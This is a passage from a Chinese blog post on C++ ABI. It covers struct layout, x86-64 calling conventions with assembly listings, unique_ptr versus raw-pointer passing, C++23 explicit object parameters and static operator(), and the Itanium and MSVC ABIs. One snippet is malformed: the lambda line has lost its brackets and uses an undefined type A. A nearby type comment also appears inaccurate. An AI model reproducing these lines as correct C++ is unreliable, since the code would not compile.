&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct X{
    int a;
    int b;
};

int foo(X x){
    return x.a + x.b;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果后续版本升级导致结构体内容发生变动了，用户代码里面看到的结构体定义变成了&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct X{
    int a;
    int b;
    int c;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后仍然去尝试链接旧版本代码编译出的动态库，并调用里面的函数&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int main(){
    int n = foo({1, 2, 3});
    printf(&amp;quot;%d\n&amp;quot;, n);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;能成功吗？当然会失败了。这种错误可以看成所谓的 ODR（One Definition Rule）违反，更多的示例会在后面的章节中讨论。&lt;&#x2F;p&gt;
&lt;p&gt;上面的情况属于用户主动变更代码导致的 ODR 违反，那如果我不主动变更代码，能确保结构体布局的稳定性吗？那这就由 ABI 中 Data Representation 来进行相关保证了。例如：规定一些基础类型的大小和对齐， Windows x64 规定&lt;code&gt;long&lt;&#x2F;code&gt;是&lt;code&gt;32&lt;&#x2F;code&gt;位，而 System V 则规定&lt;code&gt;long&lt;&#x2F;code&gt;是&lt;code&gt;64&lt;&#x2F;code&gt;位。规定&lt;code&gt;struct&lt;&#x2F;code&gt;和&lt;code&gt;union&lt;&#x2F;code&gt;的大小和对齐等等。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意 C 语言标准仍然是不规定 ABI 的，对于 System V ABI 来说，其主要使用 C 语言的术语和概念编写，所以可以认为提供了针对 C 语言的 ABI。而 Windows x64 ABI 在 C 和 C++ 之间并没有太过明显的界限。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;function-calling-convention&quot;&gt;Function Calling Convention&lt;&#x2F;h3&gt;
&lt;p&gt;接下来就到函数传参这一步了。我们知道，函数不过就是一段二进制数据，执行函数其实就是跳转到函数的入口地址，然后执行那一段代码，最后执行完了再跳转回来就行了。而传参无非就是找一块地方，存放数据，&lt;strong&gt;使得调用前后都能访问到这个地方来取数据&lt;&#x2F;strong&gt;。有哪些位置可以选择呢？主要有下面四个选项：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;global（全局变量）&lt;&#x2F;li&gt;
&lt;li&gt;heap（堆）&lt;&#x2F;li&gt;
&lt;li&gt;register（寄存器）&lt;&#x2F;li&gt;
&lt;li&gt;stack（栈）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;使用全局变量进行传参，听起来很魔幻，实际上平常写代码的时候经常把一些需要反复传递的参数改成全局变量，例如&lt;code&gt;config&lt;&#x2F;code&gt;这种的。但是，显然不是所有参数都适合使用全局变量传参，如果考虑到线程安全就要更加注意了。&lt;&#x2F;p&gt;
&lt;p&gt;使用堆进行传参，似乎也很不可思议，但其实 C++20 加入的无栈协程就把协程的状态（函数参数，局部变量）保存在堆上。不过对于普通的函数调用来说，如果每次传参都要动态内存分配，确实有些奢侈了。&lt;&#x2F;p&gt;
&lt;p&gt;所以我们主要还是考虑使用寄存器和栈进行传参。多一种选择总是好的，但是在这里并不好。如果调用方觉得应该使用寄存器传参，于是把参数存到寄存器里面去了。而被调用方觉得应该使用栈传参，所以取数据的时候是从栈里面取的。不一致就出现了，很可能从栈里面独到的就是垃圾值，导致代码逻辑错误，程序直接崩溃。&lt;&#x2F;p&gt;
&lt;p&gt;如何保证调用方和被调用方传参的位置一致呢？相信你已经猜到了，这就是 Function Calling Convention（函数调用约定）发挥作用的地方。&lt;&#x2F;p&gt;
&lt;p&gt;具体来说，调用约定规定下面这些内容：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;函数参数传递顺序，从左到右还是从右到左？&lt;&#x2F;li&gt;
&lt;li&gt;函数参数和返回值传递的方式，通过栈还是寄存器？&lt;&#x2F;li&gt;
&lt;li&gt;哪些寄存器在调用者调用前后是保持不变的？&lt;&#x2F;li&gt;
&lt;li&gt;谁负责清理栈帧，调用者还是被调用者？&lt;&#x2F;li&gt;
&lt;li&gt;如何处理 C 语言的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;c&#x2F;variadic&quot;&gt;variadic&lt;&#x2F;a&gt; 函数？&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;...&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在&lt;code&gt;32&lt;&#x2F;code&gt;位程序中，有很多调用约定，像什么&lt;code&gt;__cdecl&lt;&#x2F;code&gt;，&lt;code&gt;__stdcall&lt;&#x2F;code&gt;，&lt;code&gt;__fastcall&lt;&#x2F;code&gt;，&lt;code&gt;__thiscall&lt;&#x2F;code&gt;等等，当时的程序可谓是饱受兼容性之苦。而在&lt;code&gt;64&lt;&#x2F;code&gt;位程序中，已经基本完成统一。主要有两种调用约定，也就是 Windows x64 ABI 和 x86-64 System V ABI 分别规定的调用约定（不过并没有个正式的名字）。&lt;strong&gt;需要强调的是函数传参方式只和调用约定有关，和代码优化等级无关。你也不想不同优化等级编译出来的代码，链接到一起之后跑不起来吧。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;介绍具体的规定是有些无聊的，感兴趣的读者可以自行查阅对应文档的相关小节，下面主要讨论一些比较有意思的话题。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：下面这些讨论只适用于函数调用实际发生的情况，如果函数被完全内联，函数传参这一行为并不会发生。目前 C++ 代码的内联优化主要发生在同一编译单元内（单个文件），对于跨编译单元的代码，必须要打开 LTO（Link Time Optimization）才行，跨动态库的代码现在不能内联。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;小于&lt;&#x2F;strong&gt;**&lt;code&gt;16&lt;&#x2F;code&gt;**&lt;strong&gt;字节大小的结构体值传递效率比引用效率更高&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这个说法由来已久，但是我始终没有找到依据。终于，最近在研究调用约定的时候，让我找到原因了。首先如果结构体大小于&lt;code&gt;8&lt;&#x2F;code&gt;字节，那么可以直接塞进一个&lt;code&gt;64&lt;&#x2F;code&gt;位寄存器里面传参，没什么问题。那对于&lt;code&gt;16&lt;&#x2F;code&gt;字节呢？System V ABI 允许将一个&lt;code&gt;16&lt;&#x2F;code&gt;字节大小的结构体拆分成两个&lt;code&gt;8&lt;&#x2F;code&gt;字节大小的结构体，然后分别使用寄存器传递。从这个角度来说确实比引用传递效率更高了，观察下面的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;godbolt.org&#x2F;z&#x2F;5Ph34x1cK&quot;&gt;代码&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;cstdio&amp;gt;

struct X {
    size_t x;
    size_t y;
};

extern void f(X);
extern void g(const X&amp;amp;);

int main() {
    f({1, 2}); &amp;#x2F;&amp;#x2F; pass by value
    g({1, 2}); &amp;#x2F;&amp;#x2F; pass by reference
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后生成的代码如下所示&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;nasm&quot; class=&quot;language-nasm &quot;&gt;&lt;code class=&quot;language-nasm&quot; data-lang=&quot;nasm&quot;&gt;main:
        sub     rsp, 24
        mov     edi, 1
        mov     esi, 2
        call    f(X)
        movdqa  xmm0, XMMWORD PTR .LC0[rip]
        mov     rdi, rsp
        movaps  XMMWORD PTR [rsp], xmm0
        call    g(X const&amp;amp;)
        xor     eax, eax
        add     rsp, 24
        ret
.LC0:
        .quad   1
        .quad   2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;System V ABI 规定了前六个整形参数，依次可以使用&lt;code&gt;rdi&lt;&#x2F;code&gt;，&lt;code&gt;rsi&lt;&#x2F;code&gt;，&lt;code&gt;rdx&lt;&#x2F;code&gt;，&lt;code&gt;rcx&lt;&#x2F;code&gt;，&lt;code&gt;r8&lt;&#x2F;code&gt;，&lt;code&gt;r9&lt;&#x2F;code&gt;寄存器传递，而 Windows x64 ABI 规定了前四个整形参数，依次可以使用&lt;code&gt;rcx&lt;&#x2F;code&gt;，&lt;code&gt;rdx&lt;&#x2F;code&gt;，&lt;code&gt;r8&lt;&#x2F;code&gt;，&lt;code&gt;r9&lt;&#x2F;code&gt;寄存器传递。整形参数即&lt;code&gt;char&lt;&#x2F;code&gt;，&lt;code&gt;short&lt;&#x2F;code&gt;，&lt;code&gt;int&lt;&#x2F;code&gt;，&lt;code&gt;long&lt;&#x2F;code&gt;，&lt;code&gt;long long&lt;&#x2F;code&gt;等基础整数类型外加指针类型。浮点参数和 SIMD 类型的参数则有专门的寄存器负责，这里不过多涉及了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;可以发现&lt;code&gt;1&lt;&#x2F;code&gt;,&lt;code&gt;2&lt;&#x2F;code&gt;分别通过寄存器&lt;code&gt;edi&lt;&#x2F;code&gt;和&lt;code&gt;esi&lt;&#x2F;code&gt;传递给了&lt;code&gt;f&lt;&#x2F;code&gt;函数，而&lt;code&gt;g&lt;&#x2F;code&gt;则是把临时变量的地址传递给了&lt;code&gt;g&lt;&#x2F;code&gt;函数。但是这只是 System V ABI，对于 Windows x64 ABI 来说，只要结构体的大小大于&lt;code&gt;8&lt;&#x2F;code&gt;字节，只能通过引用传递，同样的代码，在 Windows 上编译的结果如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;nasm&quot; class=&quot;language-nasm &quot;&gt;&lt;code class=&quot;language-nasm&quot; data-lang=&quot;nasm&quot;&gt;main:
        sub     rsp, 56
        lea     rcx, QWORD PTR [rsp+32]
        mov     QWORD PTR [rsp+32], 1
        mov     QWORD PTR [rsp+40], 2
        call    void f(X)
        lea     rcx, QWORD PTR [rsp+32]
        mov     QWORD PTR [rsp+32], 1
        mov     QWORD PTR [rsp+40], 2
        call    void g(X const &amp;amp;)
        xor     eax, eax
        add     rsp, 56
        ret     0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到两次函数调用产生的代码完全相同，也就是说对于 Windows x64 ABI 来说，大于&lt;code&gt;8&lt;&#x2F;code&gt;字节的结构体无论是通过引用传递还是值传递，生成的代码都是一样的。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;unique_ptr 和 raw_ptr 的效率完全一致&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;好吧在此之前我一直对此深信不疑，毕竟&lt;code&gt;unique_ptr&lt;&#x2F;code&gt;只是对裸指针简单包装一层嘛。直到看了 CPPCON 上 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1qp421y75W&#x2F;%3Fspm_id_from%3D333.999.0.0&quot;&gt;There are no zero-cost abstractions&lt;&#x2F;a&gt; 这个令人深省的 talk，才发现完全是我想当然了。这里不谈异常导致的额外开销（有析构函数导致编译器必须额外生成清理栈帧的代码），仅仅讨论一个 C++ 对象（小于&lt;code&gt;8&lt;&#x2F;code&gt;字节）能使用寄存器传参吗？对于一个完全 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;classes%23Trivial_class&quot;&gt;trivial&lt;&#x2F;a&gt; 的类型来说，是没问题的，它表现得和一个 C 语言的结构体几乎完全一样。不过不满足呢？&lt;&#x2F;p&gt;
&lt;p&gt;比如自定义了拷贝构造函数，还能放寄存器里面吗？其实从逻辑上就不能，为什么呢？我们知道，C++ 是允许我们对函数参数取地址的，那如果参数是整形，于是通过寄存器传参，那取地址的结果哪里来的呢？实验一下，就知道了&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;cstdio&amp;gt;

extern void f(int&amp;amp;);

int g(int x) {
    f(x);
    return x;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成的对应汇编如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;nasm&quot; class=&quot;language-nasm &quot;&gt;&lt;code class=&quot;language-nasm&quot; data-lang=&quot;nasm&quot;&gt;g(int):
        sub     rsp, 24
        mov     DWORD PTR [rsp+12], edi
        lea     rdi, [rsp+12]
        call    f(int&amp;amp;)
        mov     eax, DWORD PTR [rsp+12]
        add     rsp, 24
        ret
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以发现，这里把&lt;code&gt;edi&lt;&#x2F;code&gt;（用于传递第一个整形参数）里面的值拷贝到了 &lt;code&gt;rsp+12&lt;&#x2F;code&gt; 这个地址，也就是栈上，之后把这个地址传递给了&lt;code&gt;f&lt;&#x2F;code&gt;。也就是说，如果一个函数参数通过寄存器传递，如果在某些情况下需要它的地址，编译器会把这个参数拷贝到栈上。&lt;strong&gt;但是无论如何，用户是观察不到这些拷贝过程的，因为它们的拷贝构造函数是&lt;&#x2F;strong&gt;**&lt;code&gt;trivial&lt;&#x2F;code&gt;**&lt;strong&gt;的。不影响最终代码执行结果的任何优化都是符合 as if 原则的。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;那么如果这个对象有用户定义的拷贝构造函数，假设参数通过寄存器传递，就可能会导致额外的拷贝构造函数调用，并且用户可以观察到这个副作用。显然这是不合理的，所以不允许拥有自定义拷贝构造函数的对象通过寄存器传参，那通过栈传递呢？实际上也会遇到类似的拷贝困境。于是最终这类对象只能通过引用传递了。注意，给拷贝构造显式标记为&lt;code&gt;delete&lt;&#x2F;code&gt;也算是自定义拷贝构造函数。&lt;&#x2F;p&gt;
&lt;p&gt;所以对于&lt;code&gt;unique_ptr&lt;&#x2F;code&gt;来说，只能通过引用传递，无论你函数签名写成&lt;code&gt;void f(unique_ptr&amp;lt;int&amp;gt;)&lt;&#x2F;code&gt;还是&lt;code&gt;void f(unique_ptr&amp;lt;int&amp;gt;&amp;amp;)&lt;&#x2F;code&gt;，最后生成的二进制代码都是一样的。但是裸指针却可以通过寄存器安全的传递，综上所述，&lt;code&gt;unique_ptr&lt;&#x2F;code&gt;和裸指针的效率并不是完全一致的。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;实际上对于一个非 trivial 的 C++ 对象，究竟能否使用寄存器传参的情况更复杂一些，相关的内容参考对应 ABI 中的相关小节，这里不过多描述。另外C++ 对象如何传递这部分规定，究竟属于操作系统的 ABI 还是 C++ 编译器 ABI 这个问题尚待考究。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;c-standard&quot;&gt;C++ Standard&lt;&#x2F;h2&gt;
&lt;p&gt;终于说完了操作系统层面的保证，由于偏向底层，涉及到较多汇编，对于不那么熟悉汇编的读者，读起来可能有些困难。不过接下来的内容基本就和汇编没什么关系了，可以放心阅读。&lt;&#x2F;p&gt;
&lt;p&gt;我们都知道 C++ 标准没有明确规定 ABI，但并不是完全没有规定，它对于编译器的实现是有一些要求的，例如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;结构体成员地址按照声明顺序 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;c&#x2F;language&#x2F;struct%23Explanation&quot;&gt;递增&lt;&#x2F;a&gt;，这保证了编译器不会对结构体成员进行重新排序&lt;&#x2F;li&gt;
&lt;li&gt;满足 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;data_members%23Standard-layout&quot;&gt;Standard Layout&lt;&#x2F;a&gt; 约束的结构体需要与相应的 C 结构体布局兼容&lt;&#x2F;li&gt;
&lt;li&gt;满足 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;types&#x2F;is_trivially_copyable&quot;&gt;Trivially Copyable&lt;&#x2F;a&gt; 约束的结构体可以使用&lt;code&gt;memmove&lt;&#x2F;code&gt;或者&lt;code&gt;memcpy&lt;&#x2F;code&gt;进行拷贝得到一个完全相同的全新对象&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;...&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;另外，由于 C++ 一直在推出新的版本。同一份代码，我使用新标准和旧标准分别进行编译，得到的结果相同吗（不考虑使用宏控制 C++ 版本进行条件编译的影响）？这就要看 C++ 标准层面对 ABI 兼容性的保证了，事实上，C++ 标准尽可能的保证&lt;strong&gt;向后兼容性&lt;&#x2F;strong&gt;。也就是说，两段代码，使用旧标准和新标准编译出来的代码是完全一样的。&lt;&#x2F;p&gt;
&lt;p&gt;然而，也有极少数的例外，例如（我只找得到这些，欢迎评论区补充）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;C++17 把&lt;code&gt;noexcept&lt;&#x2F;code&gt;作为函数类型的一部分，这会影响函数最后生成的 mangling name&lt;&#x2F;li&gt;
&lt;li&gt;C++20 引入的&lt;code&gt;no_unique_address&lt;&#x2F;code&gt;，MSVC 目前仍然没直接支持，因为会导致 ABI Broken&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;更多时候，C++ 新版本会在加入新的语言特性的同时带来新的 ABI，而不会影响旧的代码，例如 C++23 加入的两个新特性：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;explicit-object-parameter&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;member_functions%23Explicit_object_parameter&quot;&gt;Explicit Object Parameter&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在 C++23 之前，事实上没有&lt;strong&gt;合法&lt;&#x2F;strong&gt;的手段获取一个成员函数的地址，我们唯一能做的就是获取成员指针（关于成员指针是什么，可以参考这篇 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;659510753&quot;&gt;文章&lt;&#x2F;a&gt; 的内容）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct X {
    void f(int);
};

auto p = &amp;amp;X::f;
&amp;#x2F;&amp;#x2F; p is a pointer to member function of X
&amp;#x2F;&amp;#x2F; type of p is void (X::*)(int)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;想要获取带有&lt;code&gt;this&lt;&#x2F;code&gt;的成员函数作为回调，只能使用 lambda 表达式包装一层&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct X {
    void f(int);
};

using Fn = void(*)(X*, int);
Fn p = A* self, int x { self-&amp;gt;f(x); };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这其实很麻烦，没有任何必要，而且这层包装可能会导致额外的函数调整开销。某种程度上这算是个历史遗留问题，&lt;code&gt;32&lt;&#x2F;code&gt;位系统上对成员函数的调用约定有些特殊（广为人知的&lt;code&gt;thiscall&lt;&#x2F;code&gt;），而 C++ 中并没有调用约定相关的内容，所以搞了个成员函数指针这么个东西。旧的代码为了 ABI 兼容性已经无法改变，但是新的可以，C++23 加入了显式对象参数，我们现在可以明确&lt;code&gt;this&lt;&#x2F;code&gt;的传入方式了，甚至可以使用值传递&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct X {
    &amp;#x2F;&amp;#x2F; 这里的 this 只是个标记作用，为了和旧语法区分开来
    void f(this X self, int x); &amp;#x2F;&amp;#x2F; pass by value
    void g(this X&amp;amp; self, int x); &amp;#x2F;&amp;#x2F; pass by reference
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;被显式&lt;code&gt;this&lt;&#x2F;code&gt;标记的函数也可以直接获取函数地址了，就和普通的函数一样&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;auto f = &amp;amp;X::f; &amp;#x2F;&amp;#x2F; type of f is void(*)(X, int)
auto g = &amp;amp;X::g; &amp;#x2F;&amp;#x2F; type of g is void(*)(X*, int)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以新代码可以都采用这种写法，只有好处，没有坏处。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;static-operator&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;feature_test%23cpp_static_call_operator&quot;&gt;Static Operator()&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;标准库中有一些仿函数，里面什么成员都没有，只有一个&lt;code&gt;operator()&lt;&#x2F;code&gt;，例如&lt;code&gt;std::hash&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template &amp;lt;class T&amp;gt;
struct hash {
    std::size_t operator()(T const&amp;amp; t) const;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;尽管这是个空的结构体，但是由于&lt;code&gt;operator()&lt;&#x2F;code&gt;是成员函数，所以有一个隐式&lt;code&gt;this&lt;&#x2F;code&gt;参数。在非内联调用的情况下仍然需要传递一个无用的空指针。这个问题在 C++23 中得到了解决，可以直接定义&lt;code&gt;static operator()&lt;&#x2F;code&gt;，从而避免这个问题&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template &amp;lt;class T&amp;gt;
struct hash {
    static std::size_t operator()(T const&amp;amp; t);
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用上还是和原来一样&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::hash&amp;lt;int&amp;gt; h;
std::size_t n = h(42);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但这里只是拿&lt;code&gt;hash&lt;&#x2F;code&gt;举个例子，实际上标准库的代码为了 ABI 兼容性已经不会改动了。新代码可以使用这个特性，来避免不必要的&lt;code&gt;this&lt;&#x2F;code&gt;传递。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;compiler-specific&quot;&gt;Compiler Specific&lt;&#x2F;h2&gt;
&lt;p&gt;接下来就到了重头戏了，实现定义的部分，这部分似乎是被人诟病最多的内容了。然而事实真的如此吗？让我们一点点往下看。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;de-facto-standard&quot;&gt;De Facto Standard&lt;&#x2F;h3&gt;
&lt;p&gt;C++ 中的一些抽象最终是要落实到实现上的，而标准有没有规定如何实现，那这部分内容就由编译器自由发挥，例如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;name mangling 的规则（为了实现函数重载和模板函数）&lt;&#x2F;li&gt;
&lt;li&gt;复杂类型的布局（例如含有虚继承）&lt;&#x2F;li&gt;
&lt;li&gt;虚函数表的布局&lt;&#x2F;li&gt;
&lt;li&gt;RTTI 的实现&lt;&#x2F;li&gt;
&lt;li&gt;异常处理&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;...&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果编译器对这些部分的实现不同，那么最后不同编译器编译出的二进制产物自然是互不兼容，不能混用的。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在上世纪&lt;code&gt;90&lt;&#x2F;code&gt;年代，那时候还是 C++ 发展的黄金时期，各个厂商都致力于实现自己的编译器并扩大基本盘，争夺用户。出于竞争关系，不同编译器之间使用不同的 ABI 是很常见的行为。随着时代的发展，它们中的大多数已经退出了历史舞台，要么停止更新，要么仅做维护，不再跟进 C++ 的新标准。浪潮过后，留下的只有 GCC，Clang 和 MSVC 这三大编译器。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在今天，C++ 编译器的 ABI 已经基本得到统一，主流的 ABI 只有两套：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Itanium C++ ABI，具有公开透明的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;itanium-cxx-abi.github.io&#x2F;cxx-abi&#x2F;abi.html&quot;&gt;文档&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;MSVC C++ ABI，并没有官方的文档，这里有一份非正式的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=http%3A&#x2F;&#x2F;www.openrce.org&#x2F;articles&#x2F;files&#x2F;jangrayhood.pdf&quot;&gt;版本&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;尽管名为 Itanium C++ ABI，但它实际上是用于 C++ 的跨架构 ABI，除了 MSVC 之外，几乎所有的 C++ 编译器都在使用它，尽管在异常处理方面的细节略有不同。历史上，C++ 编译器都以各自的方式处理 C++ ABI。当英特尔大力推广 Itanium 时，他们希望避免不兼容问题，因此，他们为 Itanium 上的所有 C++ 供应商创建了一个标准化的 ABI。后来，由于各种原因，GCC 需要修改其内部 ABI，而且鉴于它已经支持了 Itanium ABI（为 Itanium 处理器），他们选择将 ABI 定义扩展到所有架构，而不是创建自己的 ABI。从那时起，所有主要的编译器除了 MSVC 都采用了跨架构的 Itanium ABI，并且即使 Itanium 处理器本身不再接收维护，该 ABI 仍然得到了维护。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在 Linux 平台上，GCC 和 Clang 都使用 Itanium ABI，所以两个编译器编译出来的代码就具有互操作性，可以链接到一起并运行。而在 Windows 平台上，情况则稍微复杂些，默认的 MSVC 工具链使用自己的 ABI。但是除了 MSVC 工具链以外，还有人把 GCC 移植到 Windows 上了，也就是我们熟知的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.mingw-w64.org&#x2F;&quot;&gt;MinGW&lt;&#x2F;a&gt; 工具链，它使用的仍然是 Itanium ABI。这两套 ABI 互不兼容，编译出来的代码不能直接链接到一起。而 Windows 平台上的 Clang 可以通过编译选项控制使用这两种 ABI 的其中的一种。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：MinGW 既然在 Windows 上运行，那它生成的代码的调用约定自然是尽量遵守 Windows x64 ABI 的，最终生成的可执行文件格式也是 PE32+。但是它的使用的 C++ ABI 仍然是 Itanium ABI，这两者并没有必然关联。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
